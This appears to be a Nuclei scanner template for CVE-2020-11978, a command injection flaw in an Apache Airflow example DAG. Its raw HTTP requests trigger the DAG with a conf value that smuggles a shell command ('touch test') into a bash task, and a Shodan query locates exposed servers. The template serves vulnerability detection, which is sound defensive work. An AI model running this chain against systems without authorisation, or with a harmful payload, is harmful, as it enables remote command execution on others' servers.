65 lines
2.2 KiB
YAML
65 lines
2.2 KiB
YAML
id: CVE-2020-11978
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info:
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name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
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author: pdteam
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severity: high
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description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
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reference:
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- https://github.com/pberba/CVE-2020-11978
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- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
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- https://twitter.com/wugeej/status/1400336603604668418
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- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-11978
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cwe-id: CWE-77
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metadata:
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shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs"
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verified: "true"
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tags: cve,cve2020,apache,airflow,rce,cisa
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requests:
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- raw:
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- |
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GET /api/experimental/test HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/json
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{"conf": {"message": "\"; touch test #"}}
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- |
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GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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extractors:
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- type: regex
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name: exec_date
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part: body
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group: 1
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internal: true
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regex:
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- '"execution_date":"([0-9-A-Z:+]+)"'
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_4, "operator":"BashOperator")'
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- 'contains(all_headers_4, "application/json")'
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condition: and
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